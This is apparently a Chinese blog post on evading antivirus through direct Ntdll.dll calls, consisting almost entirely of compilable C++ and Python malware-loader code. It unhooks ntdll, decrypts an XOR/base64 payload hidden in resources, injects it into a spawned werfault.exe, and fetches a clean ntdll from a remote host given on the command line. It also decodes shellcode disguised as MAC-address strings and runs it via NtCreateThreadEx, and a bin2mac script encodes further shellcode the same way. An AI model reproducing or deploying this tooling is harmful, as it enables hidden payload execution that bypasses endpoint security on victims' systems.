规避杀软调用Ntdll.dll
Ntdll调用
ntdll脱钩
ntdll.cpp
#include "ntdll.h"
NT_CREATE_SECTION NtCreateSection = NULL;
NT_MAP_VIEW_OF_SECTION NtMapViewOfSection = NULL;
NT_UNMAP_VIEW_OF_SECTION NtUnmapViewOfSection = NULL;
NT_WRITE_VIRTUAL_MEMORY NtWriteVirtualMemory = NULL;
RTL_INIT_UNICODE_STRING RtlInitUnicodeString = NULL;
RTL_CREATE_PROCESS_PARAMETERS RtlCreateProcessParameters = NULL;
RTL_CREATE_USER_PROCESS RtlCreateUserProcess = NULL;
RTL_CREATE_USER_THREAD RtlCreateUserThread = NULL;
NT_WAIT_FOR_SINGLE_OBJECT NtWaitForSingleObject = NULL;
NT_CLOSE NtClose = NULL;
void unhookNtdll(HMODULE ntdll)
{
HANDLE currentProcess = GetCurrentProcess();
MODULEINFO ntdllInformation = {};
GetModuleInformation(currentProcess, ntdll, &ntdllInformation, sizeof(ntdllInformation));
LPVOID ntdllBase = (LPVOID)ntdllInformation.lpBaseOfDll;
HANDLE ntdllFile = CreateFileA("C:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
for (int i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++)
{
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text"))
{
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
}
void loadNtdll(HMODULE ntdll)
{
NtCreateSection = (NT_CREATE_SECTION)GetProcAddress(ntdll, "NtCreateSection");
NtMapViewOfSection = (NT_MAP_VIEW_OF_SECTION)GetProcAddress(ntdll, "NtMapViewOfSection");
NtUnmapViewOfSection = (NT_UNMAP_VIEW_OF_SECTION)GetProcAddress(ntdll, "NtUnmapViewOfSection");
NtWriteVirtualMemory = (NT_WRITE_VIRTUAL_MEMORY)GetProcAddress(ntdll, "NtWriteVirtualMemory");
RtlInitUnicodeString = (RTL_INIT_UNICODE_STRING)GetProcAddress(ntdll, "RtlInitUnicodeString");
RtlCreateProcessParameters = (RTL_CREATE_PROCESS_PARAMETERS)GetProcAddress(ntdll, "RtlCreateProcessParameters");
RtlCreateUserProcess = (RTL_CREATE_USER_PROCESS)GetProcAddress(ntdll, "RtlCreateUserProcess");
RtlCreateUserThread = (RTL_CREATE_USER_THREAD)GetProcAddress(ntdll, "RtlCreateUserThread");
NtWaitForSingleObject = (NT_WAIT_FOR_SINGLE_OBJECT)GetProcAddress(ntdll, "NtWaitForSingleObject");
NtClose = (NT_CLOSE)GetProcAddress(ntdll, "NtClose");
}
void checkNtStatus(NTSTATUS status)
{
if (!NT_SUCCESS(status))
{
exit(1);
}
}
ntdll.h
#pragma once
#include <Windows.h>
#include <psapi.h>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
/* enums */
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT, * PSECTION_INHERIT;
/* structs */
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
typedef struct _SECTION_IMAGE_INFORMATION {
PVOID EntryPoint;
ULONG StackZeroBits;
ULONG StackReserved;
ULONG StackCommit;
ULONG ImageSubsystem;
WORD SubSystemVersionLow;
WORD SubSystemVersionHigh;
ULONG Unknown1;
ULONG ImageCharacteristics;
ULONG ImageMachineType;
ULONG Unknown2[3];
} SECTION_IMAGE_INFORMATION, * PSECTION_IMAGE_INFORMATION;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
PVOID ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StdInputHandle;
HANDLE StdOutputHandle;
HANDLE StdErrorHandle;
UNICODE_STRING CurrentDirectoryPath;
HANDLE CurrentDirectoryHandle;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingPositionLeft;
ULONG StartingPositionTop;
ULONG Width;
ULONG Height;
ULONG CharWidth;
ULONG CharHeight;
ULONG ConsoleTextAttributes;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopName;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
typedef struct _RTL_USER_PROCESS_INFORMATION {
ULONG Size;
HANDLE ProcessHandle;
HANDLE ThreadHandle;
CLIENT_ID ClientId;
SECTION_IMAGE_INFORMATION ImageInformation;
} RTL_USER_PROCESS_INFORMATION, * PRTL_USER_PROCESS_INFORMATION;
/* functions */
typedef NTSTATUS(NTAPI* NT_CREATE_SECTION) (
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL
);
extern NT_CREATE_SECTION NtCreateSection;
typedef NTSTATUS(NTAPI* NT_MAP_VIEW_OF_SECTION) (
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress OPTIONAL,
IN ULONG ZeroBits OPTIONAL,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType OPTIONAL,
IN ULONG Protect
);
extern NT_MAP_VIEW_OF_SECTION NtMapViewOfSection;
typedef NTSTATUS(NTAPI* NT_UNMAP_VIEW_OF_SECTION) (
IN HANDLE ProcessHandle,
IN PVOID BaseAddress
);
extern NT_UNMAP_VIEW_OF_SECTION NtUnmapViewOfSection;
typedef NTSTATUS(NTAPI* NT_WRITE_VIRTUAL_MEMORY) (
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG NumberOfBytesToWrite,
OUT PULONG NumberOfBytesWritten OPTIONAL
);
extern NT_WRITE_VIRTUAL_MEMORY NtWriteVirtualMemory;
typedef VOID(NTAPI* RTL_INIT_UNICODE_STRING) (
OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString OPTIONAL
);
extern RTL_INIT_UNICODE_STRING RtlInitUnicodeString;
typedef NTSTATUS(NTAPI* RTL_CREATE_PROCESS_PARAMETERS) (
OUT PRTL_USER_PROCESS_PARAMETERS* ProcessParameters,
IN PUNICODE_STRING ImagePathName,
IN PUNICODE_STRING DllPath OPTIONAL,
IN PUNICODE_STRING CurrentDirectoryPath OPTIONAL,
IN PUNICODE_STRING CommandLine OPTIONAL,
IN PVOID Environment OPTIONAL,
IN PUNICODE_STRING WindowTitle OPTIONAL,
IN PUNICODE_STRING DesktopName OPTIONAL,
IN PUNICODE_STRING ShellInfo OPTIONAL,
IN PUNICODE_STRING RuntimeData OPTIONAL
);
extern RTL_CREATE_PROCESS_PARAMETERS RtlCreateProcessParameters;
typedef NTSTATUS(NTAPI* RTL_CREATE_USER_PROCESS) (
IN PUNICODE_STRING ImagePath,
IN ULONG ObjectAttributes,
IN OUT PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
IN PSECURITY_DESCRIPTOR ProcessSecurityDescriptor OPTIONAL,
IN PSECURITY_DESCRIPTOR ThreadSecurityDescriptor OPTIONAL,
IN HANDLE ParentProcess,
IN BOOLEAN InheritHandles,
IN HANDLE DebugPort OPTIONAL,
IN HANDLE ExceptionPort OPTIONAL,
OUT PRTL_USER_PROCESS_INFORMATION ProcessInformation);
extern RTL_CREATE_USER_PROCESS RtlCreateUserProcess;
typedef NTSTATUS(NTAPI* RTL_CREATE_USER_THREAD) (
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientID
);
extern RTL_CREATE_USER_THREAD RtlCreateUserThread;
typedef NTSTATUS(NTAPI* NT_WAIT_FOR_SINGLE_OBJECT) (
IN HANDLE ObjectHandle,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER TimeOut OPTIONAL
);
extern NT_WAIT_FOR_SINGLE_OBJECT NtWaitForSingleObject;
typedef NTSTATUS(NTAPI* NT_CLOSE) (
IN HANDLE ObjectHandle
);
extern NT_CLOSE NtClose;
/* helper functions */
void unhookNtdll(HMODULE ntdll);
void loadNtdll(HMODULE ntdll);
void checkNtStatus(NTSTATUS status);
main.cpp
#include <iostream>
#include <Windows.h>
#include <string>
#include "ntdll.h"
#include "base64.h"
#include "resource.h"
#define LARGE_NUMBER 500000
#define INJECTED_PROCESS_NAME L"\\??\\C:\\Windows\\System32\\werfault.exe"
void sleep();
const std::string loadPayload();
int main(int argc, char** argv)
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
sleep();
HMODULE ntdll = LoadLibrary(TEXT("ntdll.dll"));
if (ntdll == NULL)
{
exit(1);
}
unhookNtdll(ntdll);
loadNtdll(ntdll);
const std::string payload = loadPayload();
SIZE_T size = payload.size();
LARGE_INTEGER sectionSize = { size };
HANDLE currentProcess = GetCurrentProcess();
HANDLE section = NULL;
PVOID localSection = NULL, targetSection = NULL;
PRTL_USER_PROCESS_INFORMATION targetProcessInformation = NULL;
PRTL_USER_PROCESS_PARAMETERS targetProcessParameters = NULL;
UNICODE_STRING imagePathName = {};
HANDLE targetProcessThread = NULL;
NTSTATUS status = NULL;
status = NtCreateSection(§ion, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
checkNtStatus(status);
status = NtMapViewOfSection(section, currentProcess, &localSection, NULL, NULL, NULL, (PULONG)&size, ViewUnmap, NULL, PAGE_READWRITE);
checkNtStatus(status);
RtlInitUnicodeString(&imagePathName, INJECTED_PROCESS_NAME);
status = RtlCreateProcessParameters(&targetProcessParameters, &imagePathName, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
checkNtStatus(status);
targetProcessInformation = (PRTL_USER_PROCESS_INFORMATION)malloc(sizeof(PRTL_USER_PROCESS_INFORMATION));
status = RtlCreateUserProcess(&imagePathName, NULL, targetProcessParameters, NULL, NULL, currentProcess, FALSE, NULL, NULL, targetProcessInformation);
checkNtStatus(status);
status = NtMapViewOfSection(section, targetProcessInformation->ProcessHandle, &targetSection, NULL, NULL, NULL, (PULONG)&size, ViewUnmap, NULL, PAGE_EXECUTE_READ);
checkNtStatus(status);
status = NtWriteVirtualMemory(currentProcess, localSection, (PVOID)payload.c_str(), size, NULL);
checkNtStatus(status);
status = RtlCreateUserThread(targetProcessInformation->ProcessHandle, NULL, FALSE, 0, 0, 0, targetSection, NULL, &targetProcessThread, NULL);
checkNtStatus(status);
status = NtWaitForSingleObject(targetProcessThread, FALSE, NULL);
checkNtStatus(status);
status = NtClose(targetProcessThread);
checkNtStatus(status);
status = NtUnmapViewOfSection(targetProcessInformation->ProcessHandle, targetSection);
checkNtStatus(status);
status = NtClose(targetProcessInformation->ProcessHandle);
checkNtStatus(status);
free(targetProcessInformation);
status = NtUnmapViewOfSection(currentProcess, localSection);
checkNtStatus(status);
status = NtClose(section);
checkNtStatus(status);
FreeLibrary(ntdll);
return 0;
}
void sleep()
{
for (int i = 0; i <= LARGE_NUMBER; i++)
{
for (int j = 2; j <= i / 2; j++)
{
if (i % j == 0)
{
break;
}
}
}
}
const std::string loadPayload()
{
HRSRC keyResource = FindResource(NULL, MAKEINTRESOURCE(IDR_KEY1), L"key");
DWORD keySize = SizeofResource(NULL, keyResource);
HGLOBAL keyResourceHandle = LoadResource(NULL, keyResource);
char* key = (char*)LockResource(keyResourceHandle);
HRSRC obfuscatedPayloadResource = FindResource(NULL, MAKEINTRESOURCE(IDR_OBFUSCATEDPAYLOAD1), L"obfuscatedPayload");
HGLOBAL obfuscatedPayloadResourceHandle = LoadResource(NULL, obfuscatedPayloadResource);
char* obfuscatedPayload = (char*)LockResource(obfuscatedPayloadResourceHandle);
const std::string encryptedPayload = base64_decode(obfuscatedPayload);
size_t encryptedPayloadSize = encryptedPayload.size();
std::string payload = "";
int keyIndex = 0;
for (int i = 0; i < encryptedPayloadSize; i += 4)
{
std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];
payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];
}
FreeResource(keyResourceHandle);
FreeResource(obfuscatedPayloadResource);
return payload;
}
反射注入ntdll
#include <Windows.h>
#include <stdio.h>
#include <Rpc.h>
#include <vector>
#include <psapi.h>
#include <winhttp.h>
#include <winternl.h>
#include <Ip2string.h>
#pragma comment(lib, "ntdll")
#pragma comment(lib, "winhttp")
#define NtCurrentProcess() ((HANDLE)-1)
#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable:4996)
#pragma comment(lib, "Rpcrt4.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
struct DLL {
LPVOID ntdll;
DWORD size;
};
typedef NTSTATUS (*_NtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
typedef NTSTATUS (*_NtProtectVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
typedef NTSTATUS (*_NtCreateThreadEx)(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
typedef NTSTATUS (*_NtWaitForSingleObject)(
IN HANDLE Handle,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Timeout
);
DLL GetNtdll(wchar_t* whost, DWORD port, wchar_t* wresource) {
struct DLL dll;
std::vector<unsigned char> PEbuf;
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer = NULL;
BOOL bResults = FALSE;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
// Use WinHttpOpen to obtain a session handle.
hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
// Specify an HTTP server.
if (hSession)
hConnect = WinHttpConnect(hSession, whost,
port, 0);
else
printf("Failed in WinHttpConnect (%u)\n", GetLastError());
// Create an HTTP request handle.
if (hConnect)
hRequest = WinHttpOpenRequest(hConnect, L"GET", wresource,
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
NULL);
else
printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError());
// Send a request.
if (hRequest)
bResults = WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0, WINHTTP_NO_REQUEST_DATA, 0,
0, 0);
else
printf("Failed in WinHttpSendRequest (%u)\n", GetLastError());
// End the request.
if (bResults)
bResults = WinHttpReceiveResponse(hRequest, NULL);
else printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError());
// Keep checking for data until there is nothing left.
if (bResults)
do
{
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError());
// Allocate space for the buffer.
pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer)
{
printf("Out of memory\n");
dwSize = 0;
}
else
{
// Read the Data.
ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
dwSize, &dwDownloaded))
printf("Error %u in WinHttpReadData.\n", GetLastError());
else {
PEbuf.insert(PEbuf.end(), pszOutBuffer, pszOutBuffer + dwDownloaded);
// Unhook NTDLL;
//Unhook((LPVOID)pszOutBuffer);
}
delete[] pszOutBuffer;
}
} while (dwSize > 0);
if (PEbuf.empty() == TRUE)
{
printf("Failed in retrieving the PE");
}
// Report any errors.
if (!bResults)
printf("Error %d has occurred.\n", GetLastError());
// Close any open handles.
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
size_t size = PEbuf.size();
char* ntdll = (char*)malloc(size);
for (int i = 0; i < PEbuf.size(); i++) {
ntdll[i] = PEbuf[i];
}
dll.ntdll = ntdll;
dll.size = size;
return dll;
}
BOOL isItHooked(LPVOID addr) {
BYTE stub[] = "\x4c\x8b\xd1\xb8";
if (memcmp(addr, stub, 4) != 0)
return TRUE;
return FALSE;
}
PVOID BaseAddress = NULL;
SIZE_T dwSize = 0x2000;
HANDLE hThread;
DWORD OldProtect = 0;
HANDLE hHostThread = INVALID_HANDLE_VALUE;
int main(int argc, char** argv) {
// Validate the parameters
if (argc != 3) {
printf("[+] Usage: %s <RemoteIP> <RemotePort>\n", argv[0]);
return 1;
}
char* host = argv[1];
DWORD port = atoi(argv[2]);
const size_t cSize1 = strlen(host) + 1;
wchar_t* whost = new wchar_t[cSize1];
mbstowcs(whost, host, cSize1);
wchar_t value[255] = { 0x00 };
DWORD BufferSize = 255;
RegGetValue(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ReleaseId", RRF_RT_REG_SZ, NULL, &value, &BufferSize);
wprintf(L"\n\n[+] Windows Version %s Found\n", value);
int winVersion = _wtoi(value);
DLL ntdll;
switch (winVersion) {
case 1903:
ntdll = GetNtdll(whost, port, (wchar_t*)L"ntdll1903.dll");
break;
case 2004:
ntdll = GetNtdll(whost, port, (wchar_t*)L"ntdll2004.dll");
break;
case 2009:
ntdll = GetNtdll(whost, port, (wchar_t*)L"ntdll2009.dll");
break;
default:
wprintf(L"[!] Version Offsets Not Found!\n");
}
printf("\n[+] Got ntdll from %s:%d\n\n", host, port);
char* dllBytes = (char*)malloc(ntdll.size);
memcpy(dllBytes, ntdll.ntdll, ntdll.size);
IMAGE_DOS_HEADER* DOS_HEADER = (IMAGE_DOS_HEADER*)dllBytes;
IMAGE_NT_HEADERS* NT_HEADER = (IMAGE_NT_HEADERS*)((DWORD64)dllBytes + DOS_HEADER->e_lfanew);
SIZE_T sizeDll = NT_HEADER->OptionalHeader.SizeOfImage;
LPVOID alloc_mem = VirtualAlloc(0, sizeDll, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(alloc_mem, dllBytes, NT_HEADER->OptionalHeader.SizeOfHeaders);
//load sections into memory
IMAGE_SECTION_HEADER* SECTION_HEADER = IMAGE_FIRST_SECTION(NT_HEADER);
for (int i = 0; i < NT_HEADER->FileHeader.NumberOfSections; i++) {
LPVOID sectionDest = (LPVOID)((DWORD64)alloc_mem + (DWORD64)SECTION_HEADER->VirtualAddress);
LPVOID sectionSource = (LPVOID)((DWORD64)dllBytes + (DWORD64)SECTION_HEADER->PointerToRawData);
CopyMemory(sectionDest, sectionSource, SECTION_HEADER->SizeOfRawData);
SECTION_HEADER++;
}
// Copy IAT to memory
IMAGE_IMPORT_DESCRIPTOR* IMPORT_DATA = (IMAGE_IMPORT_DESCRIPTOR*)((DWORD64)alloc_mem + NT_HEADER->OptionalHeader.DataDirectory[1].VirtualAddress);
LPCSTR ModuleName = "";
while (IMPORT_DATA->Name != NULL) {
ModuleName = (LPCSTR)IMPORT_DATA->Name + (DWORD64)alloc_mem;
IMAGE_THUNK_DATA* firstThunk;
HMODULE hmodule = LoadLibraryA(ModuleName);
if (hmodule) {
firstThunk = (IMAGE_THUNK_DATA*)((DWORD64)alloc_mem + IMPORT_DATA->FirstThunk);
for (int i = 0; firstThunk->u1.AddressOfData; firstThunk++) {
DWORD64 importFn = (DWORD64)alloc_mem + *(DWORD*)firstThunk;
LPCSTR n = (LPCSTR)((IMAGE_IMPORT_BY_NAME*)importFn)->Name; // get the name of each imported function
*(DWORD64*)firstThunk = (DWORD64)GetProcAddress(hmodule, n);
}
}
IMPORT_DATA++;
}
// Copy EAT to memory
IMAGE_EXPORT_DIRECTORY* EXPORT_DIR = (IMAGE_EXPORT_DIRECTORY*)((DWORD64)alloc_mem + NT_HEADER->OptionalHeader.DataDirectory[0].VirtualAddress);
DWORD* addrNames = (DWORD*)((DWORD64)alloc_mem + EXPORT_DIR->AddressOfNames);
DWORD* addrFunction = (DWORD*)((DWORD64)alloc_mem + EXPORT_DIR->AddressOfFunctions);
WORD* addrOrdinal = (WORD*)((DWORD64)alloc_mem + EXPORT_DIR->AddressOfNameOrdinals);
DWORD* addrNames1 = addrNames;
_NtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
char NtAllocateVirtualMemorytxt[] = { 'N','t','A','l','l','o','c','a','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y', 0 };
for (int index = 0; index < EXPORT_DIR->NumberOfFunctions; index++) {
char* name = (char*)((DWORD64)alloc_mem + *(DWORD*)addrNames1++);
//printf("%p\n", ((DWORD64)alloc_mem + addrFunction[addrOrdinal[index]]));
if (strstr(name, NtAllocateVirtualMemorytxt) != NULL) {
pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)((DWORD64)alloc_mem + addrFunction[addrOrdinal[index]]);
break;
}
}
printf("\n\nntdll mem_addr = %p\n\n", alloc_mem);
if (pNtAllocateVirtualMemory) {
NTSTATUS status1 = pNtAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(status1)) {
printf("[!] Failed in NtAllocateVirtualMemory (%u)\n", GetLastError());
return 1;
}
printf("\n[+] NtAllocateVirtualMemory @ %p\n", pNtAllocateVirtualMemory);
printf("[+] NtAllocatedVirtualMemory Executed !!!\n");
}
const char* MAC[] =
{
"FC-48-83-E4-F0-E8",
"C0-00-00-00-41-51",
"41-50-52-51-56-48",
"31-D2-65-48-8B-52",
"60-48-8B-52-18-48",
"8B-52-20-48-8B-72",
"50-48-0F-B7-4A-4A",
"4D-31-C9-48-31-C0",
"AC-3C-61-7C-02-2C",
"20-41-C1-C9-0D-41",
"01-C1-E2-ED-52-41",
"51-48-8B-52-20-8B",
"42-3C-48-01-D0-8B",
"80-88-00-00-00-48",
"85-C0-74-67-48-01",
"D0-50-8B-48-18-44",
"8B-40-20-49-01-D0",
"E3-56-48-FF-C9-41",
"8B-34-88-48-01-D6",
"4D-31-C9-48-31-C0",
"AC-41-C1-C9-0D-41",
"01-C1-38-E0-75-F1",
"4C-03-4C-24-08-45",
"39-D1-75-D8-58-44",
"8B-40-24-49-01-D0",
"66-41-8B-0C-48-44",
"8B-40-1C-49-01-D0",
"41-8B-04-88-48-01",
"D0-41-58-41-58-5E",
"59-5A-41-58-41-59",
"41-5A-48-83-EC-20",
"41-52-FF-E0-58-41",
"59-5A-48-8B-12-E9",
"57-FF-FF-FF-5D-48",
"BA-01-00-00-00-00",
"00-00-00-48-8D-8D",
"01-01-00-00-41-BA",
"31-8B-6F-87-FF-D5",
"BB-E0-1D-2A-0A-41",
"BA-A6-95-BD-9D-FF",
"D5-48-83-C4-28-3C",
"06-7C-0A-80-FB-E0",
"75-05-BB-47-13-72",
"6F-6A-00-59-41-89",
"DA-FF-D5-63-61-6C",
"63-2E-65-78-65-00",
};
int rowLen = sizeof(MAC) / sizeof(MAC[0]);
PCSTR Terminator = NULL;
NTSTATUS STATUS;
DWORD_PTR ptr = (DWORD_PTR)BaseAddress;
for (int i = 0; i < rowLen; i++) {
STATUS = RtlEthernetStringToAddressA((PCSTR)MAC[i], &Terminator, (DL_EUI48*)ptr);
if (!NT_SUCCESS(STATUS)) {
return FALSE;
}
ptr += 6;
}
DWORD* addrNames2 = addrNames;
_NtProtectVirtualMemory pNtProtectVirtualMemory = NULL;
char NtProtectVirtualMemorytxt[] = { 'N','t','P','r','o','t','e','c','t','V','i','r','t','u','a','l','M','e','m','o','r','y',0 };
for (int index = 0; index < EXPORT_DIR->NumberOfFunctions; index++) {
char* name = (char*)((DWORD64)alloc_mem + *(DWORD*)addrNames2++);
if (strstr(name, NtProtectVirtualMemorytxt) != NULL) {
pNtProtectVirtualMemory = (_NtProtectVirtualMemory)((DWORD64)alloc_mem + addrFunction[addrOrdinal[index]]);
break;
}
}
if (pNtProtectVirtualMemory) {
NTSTATUS status2 = pNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, (PSIZE_T)&dwSize, PAGE_EXECUTE_READ, &OldProtect);
if (!NT_SUCCESS(status2)) {
printf("[!] Failed in NtProtectVirtualMemory (%u)\n", GetLastError());
return 1;
}
printf("\n[+] NtProtectVirtualMemory @ %p\n", pNtProtectVirtualMemory);
printf("[+] NtProtectVirtualMemory Executed !!!\n");
}
DWORD* addrNames3 = addrNames;
_NtCreateThreadEx pNtCreateThreadEx = NULL;
char NtCreateThreadExtxt[] = { 'N','t','C','r','e','a','t','e','T','h','r','e','a','d','E','x',0 };
for (int index = 0; index < EXPORT_DIR->NumberOfFunctions; index++) {
char* name = (char*)((DWORD64)alloc_mem + *(DWORD*)addrNames3++);
if (strstr(name, NtCreateThreadExtxt) != NULL) {
pNtCreateThreadEx = (_NtCreateThreadEx)((DWORD64)alloc_mem + addrFunction[addrOrdinal[index]]);
break;
}
}
if (pNtCreateThreadEx) {
NTSTATUS status3 = pNtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, NtCurrentProcess(), (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
if (!NT_SUCCESS(status3)) {
printf("[!] Failed in NtCreateThreadEx (%u)\n", GetLastError());
return 1;
}
printf("\n[+] NtCreateThreadEx @ %p\n", pNtCreateThreadEx);
printf("[+] NtCreateThreadEx Executed !!!\n");
}
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
NTSTATUS NTWFSOstatus = NtWaitForSingleObject(hHostThread, FALSE, &Timeout);
if (!NT_SUCCESS(NTWFSOstatus)) {
printf("[!] Failed in NtWaitForSingleobject (%u)\n", GetLastError());
return 4;
}
printf("\n[+] NtWaitForSingleobject Executed !!!\n");
printf("\n\n[+] Finished !!!!\n");
return 0;
}
bin2mac
from macaddress import MAC
import sys
if len(sys.argv) < 2:
print("Usage: %s <shellcode_file>" % sys.argv[0])
sys.exit(1)
with open(sys.argv[1], "rb") as f:
chunk = f.read(6)
print("{}const char* MAC[] =".format(' '*4))
print(" {")
while chunk:
if len(chunk) < 6:
padding = 6 - len(chunk)
chunk = chunk + (b"\x90" * padding)
print("{}\"{}\"".format(' '*8,MAC(chunk)))
break
print("{}\"{}\",".format(' '*8,MAC(chunk)))
chunk = f.read(6)
print(" };")
文档信息
- 本文作者:Nattevak
- 本文链接:https://HLuKT.github.io/2023/12/25/Ntdll%E8%B0%83%E7%94%A8/
